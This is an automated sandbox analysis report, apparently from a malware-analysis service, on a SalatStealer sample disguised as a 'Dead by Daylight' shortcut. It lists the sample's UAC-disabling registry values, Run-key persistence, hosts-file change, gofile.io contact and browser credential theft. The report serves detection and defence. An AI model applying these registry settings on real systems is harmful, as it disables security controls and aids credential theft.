salatstealer | 7f8b7cf2a9fac13829b45769184f04d6177ddc780b8046ac09cfb5a928d42c5f

Analysis

user interaction
yes
max time kernel
509s
max time network
512s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
07/08/2026, 21:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Dead by Daylight.url
Size 222B
Sample260807-zvmhsaaa72
SHA256 7f8b7cf2a9fac13829b45769184f04d6177ddc780b8046ac09cfb5a928d42c5f
MD5 ac7244193a74e1e9980b9c2406e0196d
SHA1 b64110dd0f96b5d2ac9823ffe8f46d2ef365cfe3
SHA512 f202b26ce5cc6480c7b957c025d5b2923323559f562d6ef40fbbd7f3d2920861a3daf1d75d9a1c6a82a698dfe54a3926b0d735016ee9185094ea5d1b6ebafe9a
TLSH
T149D0A7544A06C0A4E393944A1061BC42984C74D259DED9C962C1DA4B0CA19945844A2D
MD5 SHA1 SHA512 TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer persistence spyware stealer trojan upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 37 IoCs

resource	yara_rule
behavioral1/memory/2812-1042-0x0000000000D30000-0x0000000001988000-memory.dmp	family_salatstealer
behavioral1/memory/2812-1074-0x0000000000D30000-0x0000000001988000-memory.dmp	family_salatstealer
behavioral1/memory/2812-1085-0x0000000000D30000-0x0000000001988000-memory.dmp	family_salatstealer
behavioral1/memory/2812-1134-0x0000000000D30000-0x0000000001988000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1155-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1156-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1189-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/1008-1275-0x00000000006C0000-0x0000000001318000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1345-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1369-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1395-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1396-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1407-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1425-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1434-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1435-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1458-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1475-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1476-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1520-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1537-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1538-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1539-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1549-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/1272-1552-0x0000000000170000-0x0000000000DC8000-memory.dmp	family_salatstealer
behavioral1/memory/4684-1553-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1570-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1571-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1580-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1581-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1806-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1823-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1824-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1836-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1845-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1892-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer
behavioral1/memory/5684-1909-0x0000000000EB0000-0x0000000001B08000-memory.dmp	family_salatstealer

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
51	1072	powershell.exe
154	3456	powershell.exe
241	4424	powershell.exe
242	4424	powershell.exe
243	4424	powershell.exe
244	4424	powershell.exe
245	4424	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5460	powershell.exe
1072	powershell.exe
3456	powershell.exe
6072	powershell.exe
6072	powershell.exe
5460	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2812	fontdrvhost.exe
5684	chrome.exe
1008	chrome.exe
4684	chrome.exe
1272	Launcher.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FontDrvHost = "C:\\ProgramData\\fontdrvhost.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
3	api.gofile.io
32	api.gofile.io

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\ReAgent.xml	ReAgentc.exe

UPX packed file 43 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2812-776-0x0000000000D30000-0x0000000001988000-memory.dmp	upx
behavioral1/memory/2812-1042-0x0000000000D30000-0x0000000001988000-memory.dmp	upx
behavioral1/memory/2812-1074-0x0000000000D30000-0x0000000001988000-memory.dmp	upx
behavioral1/memory/2812-1085-0x0000000000D30000-0x0000000001988000-memory.dmp	upx
behavioral1/files/0x05c900000002b483-1132.dat	upx
behavioral1/memory/5684-1135-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/2812-1134-0x0000000000D30000-0x0000000001988000-memory.dmp	upx
behavioral1/memory/5684-1155-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1156-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1189-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/1008-1274-0x00000000006C0000-0x0000000001318000-memory.dmp	upx
behavioral1/memory/1008-1275-0x00000000006C0000-0x0000000001318000-memory.dmp	upx
behavioral1/memory/5684-1345-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1369-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1395-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1396-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1407-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1425-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1434-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1435-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1458-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1475-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1476-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1520-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1537-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1538-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1539-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1549-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/4684-1550-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/1272-1551-0x0000000000170000-0x0000000000DC8000-memory.dmp	upx
behavioral1/memory/1272-1552-0x0000000000170000-0x0000000000DC8000-memory.dmp	upx
behavioral1/memory/4684-1553-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1570-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1571-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1580-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1581-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1806-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1823-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1824-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1836-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1845-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1892-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx
behavioral1/memory/5684-1909-0x0000000000EB0000-0x0000000001B08000-memory.dmp	upx

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Windows Defender\Launcher.exe	fontdrvhost.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	chrome.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\chrome.exe	chrome.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\2a8b3cdc-1284-0f96-7768-c1ebeceadc12	fontdrvhost.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_991128873\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-de-1901.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-lv.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-ml.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-mn-cyrl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_745320067\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\service_worker_bin_prod.js	msedge.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\uk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1434291893\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-ta.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_266798235\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-ru.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_745320067\edge_checkout_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1647410533\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_266798235\us_tv_and_film.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-da.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-el.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-es.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-fr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-la.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_745320067\edge_driver.js	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_2552_903607859\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_108_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1960904353\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_266798235\female_names.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_266798235\passwords.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_483305654\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\hi\messages.json	msedge.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-bg.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-de-1996.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-und-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_945640827\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_745320067\edge_tracking_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_266798235\english_wikipedia.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-cu.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-hy.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-mul-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_745320067\edge_confirmation_page_validator.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_304699718\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2552_1483408928\hyph-eu.hyb	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chrome.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReAgentc.exe

System Time Discovery 1 TTPs 3 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4448	chrome.exe
1364	msedge.exe
3376	msedge.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2824	ipconfig.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306101583478701"	chrome.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-226940941-599731907-2645636698-1000\{A69104C6-EE53-4458-A15B-1216C84F13FD}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-226940941-599731907-2645636698-1000\{A9936857-B446-4711-ABC2-73B1E9917DF3}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2180	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\dbd.zip:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5460	powershell.exe
1072	powershell.exe
5460	powershell.exe
5460	powershell.exe
1072	powershell.exe
1072	powershell.exe
3000	chrome.exe
3000	chrome.exe
6072	powershell.exe
6072	powershell.exe
3456	powershell.exe
3456	powershell.exe
6072	powershell.exe
3456	powershell.exe
2812	fontdrvhost.exe
2812	fontdrvhost.exe
2812	fontdrvhost.exe
2812	fontdrvhost.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe
5684	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5684	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs

pid	Process
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
6044	msedge.exe
6044	msedge.exe
6044	msedge.exe
6044	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe
2552	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
